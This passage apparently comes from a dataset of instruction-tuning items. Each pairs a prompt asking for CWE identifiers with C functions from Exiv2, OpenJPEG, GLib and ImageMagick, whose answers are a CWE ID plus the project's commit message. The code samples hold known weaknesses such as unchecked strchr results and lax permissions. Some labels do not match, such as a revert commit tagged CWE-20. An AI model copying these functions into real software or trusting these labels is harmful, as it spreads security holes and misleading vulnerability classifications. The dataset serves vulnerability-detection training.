following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int Exiv2::http(Exiv2::Dictionary& request,Exiv2::Dictionary& response,std::string& errors)\n{\n if ( !request.count(\"verb\") ) request[\"verb\" ] = \"GET\";\n if ( !request.count(\"header\") ) request[\"header\" ] = \"\" ;\n if ( !request.count(\"version\")) request[\"version\"] = \"1.0\";\n if ( !request.count(\"port\") ) request[\"port\" ] = \"\" ;\n\n std::string file;\n errors = \"\";\n int result = 0;\n\n ////////////////////////////////////\n // Windows specific code\n#ifdef WIN32\n WSADATA wsaData;\n WSAStartup(MAKEWORD(2,2), &wsaData);\n#endif\n\n const char* servername = request[\"server\" ].c_str();\n const char* page = request[\"page\" ].c_str();\n const char* verb = request[\"verb\" ].c_str();\n const char* header = request[\"header\" ].c_str();\n const char* version = request[\"version\"].c_str();\n const char* port = request[\"port\" ].c_str();\n\n const char* servername_p = servername;\n const char* port_p = port ;\n std::string url = std::string(\"http://\") + request[\"server\"] + request[\"page\"];\n\n // parse and change server if using a proxy\n const char* PROXI = \"HTTP_PROXY\";\n const char* proxi = \"http_proxy\";\n const char* PROXY = getenv(PROXI);\n const char* proxy = getenv(proxi);\n bool bProx = PROXY || proxy;\n const char* prox = bProx ? (proxy?proxy:PROXY):\"\";\n Exiv2::Uri Proxy = Exiv2::Uri::Parse(prox);\n\n // find the dictionary of no_proxy servers\n const char* NO_PROXI = \"NO_PROXY\";\n const char* no_proxi = \"no_proxy\";\n const char* NO_PROXY = getenv(NO_PROXI);\n const char* no_proxy = getenv(no_proxi);\n bool bNoProxy = NO_PROXY||no_proxy;\n std::string no_prox = std::string(bNoProxy?(no_proxy?no_proxy:NO_PROXY):\"\");\n Exiv2::Dictionary noProxy= stringToDict(no_prox + \",localhost,127.0.0.1\");\n\n // if the server is on the no_proxy list ... ignore the proxy!\n if ( noProxy.count(servername) ) bProx = false;\n\n if ( bProx ) {\n servername_p = Proxy.Host.c_str();\n port_p = Proxy.Port.c_str();\n page = url.c_str();\n std::string p(proxy?proxi:PROXI);\n // std::cerr << p << '=' << prox << \" page = \" << page << std::endl;\n }\n if ( !port [0] ) port = \"80\";\n if ( !port_p[0] ) port_p = \"80\";\n\n ////////////////////////////////////\n // open the socket\n int sockfd = (int) socket(AF_INET , SOCK_STREAM,IPPROTO_TCP) ;\n if ( sockfd < 0 ) return error(errors, \"unable to create socket\\n\",NULL,NULL,0) ;\n\n // connect the socket to the server\n int server = -1 ;\n\n // fill in the address\n struct sockaddr_in serv_addr ;\n int serv_len = sizeof(serv_addr);\n memset((char *)&serv_addr,0,serv_len);\n\n serv_addr.sin_addr.s_addr = inet_addr(servername_p);\n serv_addr.sin_family = AF_INET ;\n serv_addr.sin_port = htons(atoi(port_p));\n\n // convert unknown servername into IP address\n // http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=/rzab6/rzab6uafinet.htm\n if (serv_addr.sin_addr.s_addr == (unsigned long)INADDR_NONE)\n {\n struct hostent* host = gethostbyname(servername_p);\n if ( !host ) return error(errors, \"no such host\", servername_p);\n memcpy(&serv_addr.sin_addr,host->h_addr,sizeof(serv_addr.sin_addr));\n }\n\n makeNonBlocking(sockfd) ;\n\n ////////////////////////////////////\n // and connect\n server = connect(sockfd, (const struct sockaddr *) &serv_addr, serv_len) ;\n if ( server == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK )\n return error(errors,\"error - unable to connect to server = %s port = %s wsa_error = %d\",servername_p,port_p,WSAGetLastError());\n\n char buffer[32*1024+1];\n size_t buff_l= sizeof buffer - 1 ;\n\n ////////////////////////////////////\n // format the request\n int n = snprintf(buffer,buff_l,httpTemplate,verb,page,version,servername,header) ;\n buffer[n] = 0 ;\n response[\"requestheaders\"]=std::string(buffer,n);\n\n\n ////////////////////////////////////\n // send the header (we'll have to wait for the connection by the non-blocking socket)\n while ( sleep_ >= 0 && send(sockfd,buffer,n,0) == SOCKET_ERROR /* && WSAGetLastError() == WSAENOTCONN */ ) {\n Sleep(snooze) ;\n sleep_ -= snooze ;\n }\n\n if ( sleep_ < 0 )\n return error(errors,\"error - timeout connecting to server = %s port = %s wsa_error = %d\",servername,port,WSAGetLastError());\n\n int end = 0 ; // write position in buffer\n bool bSearching = true ; // looking for headers in the response\n int status= 200 ; // assume happiness\n\n ////////////////////////////////////\n // read and process the response\n int err ;\n n=forgive(recv(sockfd,buffer,(int)buff_l,0),err) ;\n while ( n >= 0 && OK(status) ) {\n if ( n ) {\n end += n ;\n buffer[end] = 0 ;\n\n size_t body = 0 ; // start of body\n if ( bSearching ) {\n\n // search for the body\n for ( size_t b = 0 ; bSearching && b < lengthof(blankLines) ; b++ ) {\n if ( strstr(buffer,blankLines[b]) ) {\n bSearching = false ;\n body = (int) ( strstr(buffer,blankLines[b]) - buffer ) + strlen(blankLines[b]) ;\n status = atoi(strchr(buffer,' ')) ;\n }\n }\n\n // parse response headers\n char* h = buffer;\n char C = ':' ;\n char N = '\\n';\n int i = 0 ; // initial byte in buffer\n while(buffer[i] == N ) i++;\n h = strchr(h+i,N)+1;\n response[\"\"]=std::string(buffer+i).substr(0,h-buffer-2);\n result = atoi(strchr(buffer,' '));\n char* c = strchr(h,C);\n char* first_newline = strchr(h,N);\n while ( c && first_newline && c < first_newline && h < buffer+body ) {\n std::string key(h);\n std::string value(c+1);\n key = key.substr(0,c-h);\n value = value.substr(0,first_newline-c-1);\n response[key]=value;\n h = first_newline+1;\n c = strchr(h,C);\n first_newline = strchr(h,N);\n }\n }\n\n // if the bufffer's full and we're still searching - give up!\n // this handles the possibility that there are no headers\n if ( bSearching && buff_l-end < 10 ) {\n bSearching = false ;\n body = 0 ;\n }\n if ( !bSearching && OK(status) ) {\n flushBuffer(buffer,body,end,file);\n }\n }\n n=forgive(recv(sockfd,buffer+end,(int)(buff_l-end),0),err) ;\n if ( !n ) {\n Sleep(snooze) ;\n sleep_ -= snooze ;\n if ( sleep_ < 0 ) n = FINISH ;\n }\n }\n\n if ( n != FINISH || !OK(status) ) {\n snprintf(buffer,sizeof buffer,\"wsa_error = %d,n = %d,sleep_ = %d status = %d\"\n , WSAGetLastError()\n , n\n , sleep_\n , status\n ) ;\n error(errors,buffer,NULL,NULL,0) ;\n } else if ( bSearching && OK(status) ) {\n if ( end ) {\n // we finished OK without finding headers, flush the buffer\n flushBuffer(buffer,0,end,file) ;\n } else {\n return error(errors,\"error - no response from server = %s port = %s wsa_error = %d\",servername,port,WSAGetLastError());\n }\n }\n\n ////////////////////////////////////\n // close sockets\n closesocket(server) ;\n closesocket(sockfd) ;\n response[\"body\"]=file;\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Avoid null pointer exception due to NULL return value from strchr.\n\nThis fixes #793.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static opj_bool pi_next_cprl(opj_pi_iterator_t * pi)\n{\n opj_pi_comp_t *comp = NULL;\n opj_pi_resolution_t *res = NULL;\n long index = 0;\n\n if (!pi->first) {\n comp = &pi->comps[pi->compno];\n goto LABEL_SKIP;\n } else {\n pi->first = 0;\n }\n\n for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) {\n int resno;\n comp = &pi->comps[pi->compno];\n pi->dx = 0;\n pi->dy = 0;\n for (resno = 0; resno < comp->numresolutions; resno++) {\n int dx, dy;\n res = &comp->resolutions[resno];\n dx = comp->dx * (1 << (res->pdx + comp->numresolutions - 1 - resno));\n dy = comp->dy * (1 << (res->pdy + comp->numresolutions - 1 - resno));\n pi->dx = !pi->dx ? dx : int_min(pi->dx, dx);\n pi->dy = !pi->dy ? dy : int_min(pi->dy, dy);\n }\n if (!pi->tp_on) {\n pi->poc.ty0 = pi->ty0;\n pi->poc.tx0 = pi->tx0;\n pi->poc.ty1 = pi->ty1;\n pi->poc.tx1 = pi->tx1;\n }\n for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1;\n pi->y += pi->dy - (pi->y % pi->dy)) {\n for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1;\n pi->x += pi->dx - (pi->x % pi->dx)) {\n for (pi->resno = pi->poc.resno0;\n pi->resno < int_min(pi->poc.resno1, comp->numresolutions); pi->resno++) {\n int levelno;\n int trx0, try0;\n int trx1, try1;\n int rpx, rpy;\n int prci, prcj;\n res = &comp->resolutions[pi->resno];\n levelno = comp->numresolutions - 1 - pi->resno;\n trx0 = int_ceildiv(pi->tx0, comp->dx << levelno);\n try0 = int_ceildiv(pi->ty0, comp->dy << levelno);\n trx1 = int_ceildiv(pi->tx1, comp->dx << levelno);\n try1 = int_ceildiv(pi->ty1, comp->dy << levelno);\n rpx = res->pdx + levelno;\n rpy = res->pdy + levelno;\n\n /* To avoid divisions by zero / undefined behaviour on shift */\n if (rpx >= 31 || ((comp->dx << rpx) >> rpx) != comp->dx ||\n rpy >= 31 || ((comp->dy << rpy) >> rpy) != comp->dy) {\n continue;\n }\n\n if (!((pi->y % (comp->dy << rpy) == 0) || ((pi->y == pi->ty0) &&\n ((try0 << levelno) % (1 << rpy))))) {\n continue;\n }\n if (!((pi->x % (comp->dx << rpx) == 0) || ((pi->x == pi->tx0) &&\n ((trx0 << levelno) % (1 << rpx))))) {\n continue;\n }\n\n if ((res->pw == 0) || (res->ph == 0)) {\n continue;\n }\n\n if ((trx0 == trx1) || (try0 == try1)) {\n continue;\n }\n\n prci = int_floordivpow2(int_ceildiv(pi->x, comp->dx << levelno), res->pdx)\n - int_floordivpow2(trx0, res->pdx);\n prcj = int_floordivpow2(int_ceildiv(pi->y, comp->dy << levelno), res->pdy)\n - int_floordivpow2(try0, res->pdy);\n pi->precno = prci + prcj * res->pw;\n for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {\n index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno *\n pi->step_c + pi->precno * pi->step_p;\n /* Avoids index out of bounds access with include*/\n if (index >= pi->include_size) {\n opj_pi_emit_error(pi, \"Invalid access to pi->include\");\n return OPJ_FALSE;\n }\n if (!pi->include[index]) {\n pi->include[index] = 1;\n return OPJ_TRUE;\n }\nLABEL_SKIP:\n ;\n }\n }\n }\n }\n }\n\n return OPJ_FALSE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Revert \"[MJ2] Avoid index out of bounds access to pi->include[]\"\n\nThis reverts commit c277159986c80142180fbe5efb256bbf3bdf3edc.\n\nThe commit didn't compile. include_size is not defined in openmj2'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: g_keyfile_settings_backend_keyfile_write (GKeyfileSettingsBackend *kfsb)\n{\n gchar *contents;\n gsize length;\n\n contents = g_key_file_to_data (kfsb->keyfile, &length, NULL);\n g_file_replace_contents (kfsb->file, contents, length, NULL, FALSE,\n G_FILE_CREATE_REPLACE_DESTINATION,\n NULL, NULL, NULL);\n\n compute_checksum (kfsb->digest, contents, length);\n g_free (contents);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-732'], 'message': 'keyfile settings: Use tighter permissions\n\nWhen creating directories, create them with 700 permissions,\ninstead of 777.\n\nCloses: #1658'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n const int argc,const char **argv,Image **images,ExceptionInfo *exception)\n{\n ChannelType\n channel;\n\n const char\n *option;\n\n ImageInfo\n *mogrify_info;\n\n MagickStatusType\n status;\n\n QuantizeInfo\n *quantize_info;\n\n register ssize_t\n i;\n\n ssize_t\n count,\n index;\n\n /*\n Apply options to the image list.\n */\n assert(image_info != (ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(images != (Image **) NULL);\n assert((*images)->previous == (Image *) NULL);\n assert((*images)->signature == MagickCoreSignature);\n if ((*images)->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n (*images)->filename);\n if ((argc <= 0) || (*argv == (char *) NULL))\n return(MagickTrue);\n mogrify_info=CloneImageInfo(image_info);\n quantize_info=AcquireQuantizeInfo(mogrify_info);\n channel=mogrify_info->channel;\n status=MagickTrue;\n for (i=0; i < (ssize_t) argc; i++)\n {\n if (*images == (Image *) NULL)\n break;\n option=argv[i];\n if (IsCommandOption(option) == MagickFalse)\n continue;\n count=ParseCommandOption(MagickCommandOptions,MagickFalse,option);\n count=MagickMax(count,0L);\n if ((i+count) >= (ssize_t) argc)\n break;\n status=MogrifyImageInfo(mogrify_info,(int) count+1,argv+i,exception);\n switch (*(option+1))\n {\n case 'a':\n {\n if (LocaleCompare(\"affinity\",option+1) == 0)\n {\n (void) SyncImagesSettings(mogrify_info,*images);\n if (*option == '+')\n {\n (void) RemapImages(quantize_info,*images,(Image *) NULL);\n InheritException(exception,&(*images)->exception);\n break;\n }\n i++;\n break;\n }\n if (LocaleCompare(\"append\",option+1) == 0)\n {\n Image\n *append_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n append_image=AppendImages(*images,*option == '-' ? MagickTrue :\n MagickFalse,exception);\n if (append_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=append_image;\n break;\n }\n if (LocaleCompare(\"average\",option+1) == 0)\n {\n Image\n *average_image;\n\n /*\n Average an image sequence (deprecated).\n */\n (void) SyncImagesSettings(mogrify_info,*images);\n average_image=EvaluateImages(*images,MeanEvaluateOperator,\n exception);\n if (average_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=average_image;\n break;\n }\n break;\n }\n case 'c':\n {\n if (LocaleCompare(\"channel\",option+1) == 0)\n {\n if (*option == '+')\n {\n channel=DefaultChannels;\n break;\n }\n channel=(ChannelType) ParseChannelOption(argv[i+1]);\n break;\n }\n if (LocaleCompare(\"clut\",option+1) == 0)\n {\n Image\n *clut_image,\n *image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n image=RemoveFirstImageFromList(images);\n clut_image=RemoveFirstImageFromList(images);\n if (clut_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n (void) ClutImageChannel(image,channel,clut_image);\n clut_image=DestroyImage(clut_image);\n InheritException(exception,&image->exception);\n *images=DestroyImageList(*images);\n *images=image;\n break;\n }\n if (LocaleCompare(\"coalesce\",option+1) == 0)\n {\n Image\n *coalesce_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n coalesce_image=CoalesceImages(*images,exception);\n if (coalesce_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=coalesce_image;\n break;\n }\n if (LocaleCompare(\"combine\",option+1) == 0)\n {\n Image\n *combine_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n combine_image=CombineImages(*images,channel,exception);\n if (combine_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=combine_image;\n break;\n }\n if (LocaleCompare(\"compare\",option+1) == 0)\n {\n const char\n *option;\n\n double\n distortion;\n\n Image\n *difference_image,\n *image,\n *reconstruct_image;\n\n MetricType\n metric;\n\n /*\n Mathematically and visually annotate the difference between an\n image and its reconstruction.\n */\n (void) SyncImagesSettings(mogrify_info,*images);\n image=RemoveFirstImageFromList(images);\n reconstruct_image=RemoveFirstImageFromList(images);\n if (reconstruct_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n metric=UndefinedMetric;\n option=GetImageOption(image_info,\"metric\");\n if (option != (const char *) NULL)\n metric=(MetricType) ParseCommandOption(MagickMetricOptions,\n MagickFalse,option);\n difference_image=CompareImageChannels(image,reconstruct_image,\n channel,metric,&distortion,exception);\n if (difference_image == (Image *) NULL)\n break;\n reconstruct_image=DestroyImage(reconstruct_image);\n image=DestroyImage(image);\n if (*images != (Image *) NULL)\n *images=DestroyImageList(*images);\n *images=difference_image;\n break;\n }\n if (LocaleCompare(\"complex\",option+1) == 0)\n {\n ComplexOperator\n op;\n\n Image\n *complex_images;\n\n (void) SyncImageSettings(mogrify_info,*images);\n op=(ComplexOperator) ParseCommandOption(MagickComplexOptions,\n MagickFalse,argv[i+1]);\n complex_images=ComplexImages(*images,op,exception);\n if (complex_images == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=complex_images;\n break;\n }\n if (LocaleCompare(\"composite\",option+1) == 0)\n {\n Image\n *mask_image,\n *composite_image,\n *image;\n\n RectangleInfo\n geometry;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n image=RemoveFirstImageFromList(images);\n composite_image=RemoveFirstImageFromList(images);\n if (composite_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n (void) TransformImage(&composite_image,(char *) NULL,\n composite_image->geometry);\n SetGeometry(composite_image,&geometry);\n (void) ParseAbsoluteGeometry(composite_image->geometry,&geometry);\n GravityAdjustGeometry(image->columns,image->rows,image->gravity,\n &geometry);\n mask_image=RemoveFirstImageFromList(images);\n if (mask_image != (Image *) NULL)\n {\n if ((image->compose == DisplaceCompositeOp) ||\n (image->compose == DistortCompositeOp))\n {\n /*\n Merge Y displacement into X displacement image.\n */\n (void) CompositeImage(composite_image,CopyGreenCompositeOp,\n mask_image,0,0);\n mask_image=DestroyImage(mask_image);\n }\n else\n {\n /*\n Set a blending mask for the composition.\n */\n if (image->mask != (Image *) NULL)\n image->mask=DestroyImage(image->mask);\n image->mask=mask_image;\n (void) NegateImage(image->mask,MagickFalse);\n }\n }\n (void) CompositeImageChannel(image,channel,image->compose,\n composite_image,geometry.x,geometry.y);\n if (mask_image != (Image *) NULL)\n {\n image->mask=DestroyImage(image->mask);\n mask_image=image->mask;\n }\n composite_image=DestroyImage(composite_image);\n InheritException(exception,&image->exception);\n *images=DestroyImageList(*images);\n *images=image;\n break;\n }\n if (LocaleCompare(\"copy\",option+1) == 0)\n {\n Image\n *source_image;\n\n OffsetInfo\n offset;\n\n RectangleInfo\n geometry;\n\n /*\n Copy image pixels.\n */\n (void) SyncImageSettings(mogrify_info,*images);\n (void) ParsePageGeometry(*images,argv[i+2],&geometry,exception);\n offset.x=geometry.x;\n offset.y=geometry.y;\n source_image=(*images);\n if (source_image->next != (Image *) NULL)\n source_image=source_image->next;\n (void) ParsePageGeometry(source_image,argv[i+1],&geometry,\n exception);\n status=CopyImagePixels(*images,source_image,&geometry,&offset,\n exception);\n break;\n }\n break;\n }\n case 'd':\n {\n if (LocaleCompare(\"deconstruct\",option+1) == 0)\n {\n Image\n *deconstruct_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n deconstruct_image=DeconstructImages(*images,exception);\n if (deconstruct_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=deconstruct_image;\n break;\n }\n if (LocaleCompare(\"delete\",option+1) == 0)\n {\n if (*option == '+')\n DeleteImages(images,\"-1\",exception);\n else\n DeleteImages(images,argv[i+1],exception);\n break;\n }\n if (LocaleCompare(\"dither\",option+1) == 0)\n {\n if (*option == '+')\n {\n quantize_info->dither=MagickFalse;\n break;\n }\n quantize_info->dither=MagickTrue;\n quantize_info->dither_method=(DitherMethod) ParseCommandOption(\n MagickDitherOptions,MagickFalse,argv[i+1]);\n break;\n }\n if (LocaleCompare(\"duplicate\",option+1) == 0)\n {\n Image\n *duplicate_images;\n\n if (*option == '+')\n duplicate_images=DuplicateImages(*images,1,\"-1\",exception);\n else\n {\n const char\n *p;\n\n size_t\n number_duplicates;\n\n number_duplicates=(size_t) StringToLong(argv[i+1]);\n p=strchr(argv[i+1],',');\n if (p == (const char *) NULL)\n duplicate_images=DuplicateImages(*images,number_duplicates,\n \"-1\",exception);\n else\n duplicate_images=DuplicateImages(*images,number_duplicates,p,\n exception);\n }\n AppendImageToList(images, duplicate_images);\n (void) SyncImagesSettings(mogrify_info,*images);\n break;\n }\n break;\n }\n case 'e':\n {\n if (LocaleCompare(\"evaluate-sequence\",option+1) == 0)\n {\n Image\n *evaluate_image;\n\n MagickEvaluateOperator\n op;\n\n (void) SyncImageSettings(mogrify_info,*images);\n op=(MagickEvaluateOperator) ParseCommandOption(\n MagickEvaluateOptions,MagickFalse,argv[i+1]);\n evaluate_image=EvaluateImages(*images,op,exception);\n if (evaluate_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=evaluate_image;\n break;\n }\n break;\n }\n case 'f':\n {\n if (LocaleCompare(\"fft\",option+1) == 0)\n {\n Image\n *fourier_image;\n\n /*\n Implements the discrete Fourier transform (DFT).\n */\n (void) SyncImageSettings(mogrify_info,*images);\n fourier_image=ForwardFourierTransformImage(*images,*option == '-' ?\n MagickTrue : MagickFalse,exception);\n if (fourier_image == (Image *) NULL)\n break;\n *images=DestroyImageList(*images);\n *images=fourier_image;\n break;\n }\n if (LocaleCompare(\"flatten\",option+1) == 0)\n {\n Image\n *flatten_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n flatten_image=MergeImageLayers(*images,FlattenLayer,exception);\n if (flatten_image == (Image *) NULL)\n break;\n *images=DestroyImageList(*images);\n *images=flatten_image;\n break;\n }\n if (LocaleCompare(\"fx\",option+1) == 0)\n {\n Image\n *fx_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n fx_image=FxImageChannel(*images,channel,argv[i+1],exception);\n if (fx_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=fx_image;\n break;\n }\n break;\n }\n case 'h':\n {\n if (LocaleCompare(\"hald-clut\",option+1) == 0)\n {\n Image\n *hald_image,\n *image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n image=RemoveFirstImageFromList(images);\n hald_image=RemoveFirstImageFromList(images);\n if (hald_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n (void) HaldClutImageChannel(image,channel,hald_image);\n hald_image=DestroyImage(hald_image);\n InheritException(exception,&image->exception);\n if (*images != (Image *) NULL)\n *images=DestroyImageList(*images);\n *images=image;\n break;\n }\n break;\n }\n case 'i':\n {\n if (LocaleCompare(\"ift\",option+1) == 0)\n {\n Image\n *fourier_image,\n *magnitude_image,\n *phase_image;\n\n /*\n Implements the inverse fourier discrete Fourier transform (DFT).\n */\n (void) SyncImagesSettings(mogrify_info,*images);\n magnitude_image=RemoveFirstImageFromList(images);\n phase_image=RemoveFirstImageFromList(images);\n if (phase_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n fourier_image=InverseFourierTransformImage(magnitude_image,\n phase_image,*option == '-' ? MagickTrue : MagickFalse,exception);\n if (fourier_image == (Image *) NULL)\n break;\n if (*images != (Image *) NULL)\n *images=DestroyImageList(*images);\n *images=fourier_image;\n break;\n }\n if (LocaleCompare(\"insert\",option+1) == 0)\n {\n Image\n *p,\n *q;\n\n index=0;\n if (*option != '+')\n index=(ssize_t) StringToLong(argv[i+1]);\n p=RemoveLastImageFromList(images);\n if (p == (Image *) NULL)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n OptionError,\"NoSuchImage\",\"`%s'\",argv[i+1]);\n status=MagickFalse;\n break;\n }\n q=p;\n if (index == 0)\n PrependImageToList(images,q);\n else\n if (index == (ssize_t) GetImageListLength(*images))\n AppendImageToList(images,q);\n else\n {\n q=GetImageFromList(*images,index-1);\n if (q == (Image *) NULL)\n {\n p=DestroyImage(p);\n (void) ThrowMagickException(exception,GetMagickModule(),\n OptionError,\"NoSuchImage\",\"`%s'\",argv[i+1]);\n status=MagickFalse;\n break;\n }\n InsertImageInList(&q,p);\n }\n *images=GetFirstImageInList(q);\n break;\n }\n break;\n }\n case 'l':\n {\n if (LocaleCompare(\"layers\",option+1) == 0)\n {\n Image\n *layers;\n\n ImageLayerMethod\n method;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n layers=(Image *) NULL;\n method=(ImageLayerMethod) ParseCommandOption(MagickLayerOptions,\n MagickFalse,argv[i+1]);\n switch (method)\n {\n case CoalesceLayer:\n {\n layers=CoalesceImages(*images,exception);\n break;\n }\n case CompareAnyLayer:\n case CompareClearLayer:\n case CompareOverlayLayer:\n default:\n {\n layers=CompareImageLayers(*images,method,exception);\n break;\n }\n case MergeLayer:\n case FlattenLayer:\n case MosaicLayer:\n case TrimBoundsLayer:\n {\n layers=MergeImageLayers(*images,method,exception);\n break;\n }\n case DisposeLayer:\n {\n layers=DisposeImages(*images,exception);\n break;\n }\n case OptimizeImageLayer:\n {\n layers=OptimizeImageLayers(*images,exception);\n break;\n }\n case OptimizePlusLayer:\n {\n layers=OptimizePlusImageLayers(*images,exception);\n break;\n }\n case OptimizeTransLayer:\n {\n OptimizeImageTransparency(*images,exception);\n break;\n }\n case RemoveDupsLayer:\n {\n RemoveDuplicateLayers(images,exception);\n break;\n }\n case RemoveZeroLayer:\n {\n RemoveZeroDelayLayers(images,exception);\n break;\n }\n case OptimizeLayer:\n {\n /*\n General Purpose, GIF Animation Optimizer.\n */\n layers=CoalesceImages(*images,exception);\n if (layers == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n InheritException(exception,&layers->exception);\n *images=DestroyImageList(*images);\n *images=layers;\n layers=OptimizeImageLayers(*images,exception);\n if (layers == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n InheritException(exception,&layers->exception);\n *images=DestroyImageList(*images);\n *images=layers;\n layers=(Image *) NULL;\n OptimizeImageTransparency(*images,exception);\n InheritException(exception,&(*images)->exception);\n (void) RemapImages(quantize_info,*images,(Image *) NULL);\n break;\n }\n case CompositeLayer:\n {\n CompositeOperator\n compose;\n\n Image\n *source;\n\n RectangleInfo\n geometry;\n\n /*\n Split image sequence at the first 'NULL:' image.\n */\n source=(*images);\n while (source != (Image *) NULL)\n {\n source=GetNextImageInList(source);\n if ((source != (Image *) NULL) &&\n (LocaleCompare(source->magick,\"NULL\") == 0))\n break;\n }\n if (source != (Image *) NULL)\n {\n if ((GetPreviousImageInList(source) == (Image *) NULL) ||\n (GetNextImageInList(source) == (Image *) NULL))\n source=(Image *) NULL;\n else\n {\n /*\n Separate the two lists, junk the null: image.\n */\n source=SplitImageList(source->previous);\n DeleteImageFromList(&source);\n }\n }\n if (source == (Image *) NULL)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n OptionError,\"MissingNullSeparator\",\"layers Composite\");\n status=MagickFalse;\n break;\n }\n /*\n Adjust offset with gravity and virtual canvas.\n */\n SetGeometry(*images,&geometry);\n (void) ParseAbsoluteGeometry((*images)->geometry,&geometry);\n geometry.width=source->page.width != 0 ?\n source->page.width : source->columns;\n geometry.height=source->page.height != 0 ?\n source->page.height : source->rows;\n GravityAdjustGeometry((*images)->page.width != 0 ?\n (*images)->page.width : (*images)->columns,\n (*images)->page.height != 0 ? (*images)->page.height :\n (*images)->rows,(*images)->gravity,&geometry);\n compose=OverCompositeOp;\n option=GetImageOption(mogrify_info,\"compose\");\n if (option != (const char *) NULL)\n compose=(CompositeOperator) ParseCommandOption(\n MagickComposeOptions,MagickFalse,option);\n CompositeLayers(*images,compose,source,geometry.x,geometry.y,\n exception);\n source=DestroyImageList(source);\n break;\n }\n }\n if (layers == (Image *) NULL)\n break;\n InheritException(exception,&layers->exception);\n *images=DestroyImageList(*images);\n *images=layers;\n break;\n }\n break;\n }\n case 'm':\n {\n if (LocaleCompare(\"map\",option+1) == 0)\n {\n (void) SyncImagesSettings(mogrify_info,*images);\n if (*option == '+')\n {\n (void) RemapImages(quantize_info,*images,(Image *) NULL);\n InheritException(exception,&(*images)->exception);\n break;\n }\n i++;\n break;\n }\n if (LocaleCompare(\"maximum\",option+1) == 0)\n {\n Image\n *maximum_image;\n\n /*\n Maximum image sequence (deprecated).\n */\n (void) SyncImagesSettings(mogrify_info,*images);\n maximum_image=EvaluateImages(*images,MaxEvaluateOperator,exception);\n if (maximum_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=maximum_image;\n break;\n }\n if (LocaleCompare(\"minimum\",option+1) == 0)\n {\n Image\n *minimum_image;\n\n /*\n Minimum image sequence (deprecated).\n */\n (void) SyncImagesSettings(mogrify_info,*images);\n minimum_image=EvaluateImages(*images,MinEvaluateOperator,exception);\n if (minimum_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=minimum_image;\n break;\n }\n if (LocaleCompare(\"morph\",option+1) == 0)\n {\n Image\n *morph_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n morph_image=MorphImages(*images,StringToUnsignedLong(argv[i+1]),\n exception);\n if (morph_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=morph_image;\n break;\n }\n if (LocaleCompare(\"mosaic\",option+1) == 0)\n {\n Image\n *mosaic_image;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n mosaic_image=MergeImageLayers(*images,MosaicLayer,exception);\n if (mosaic_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n 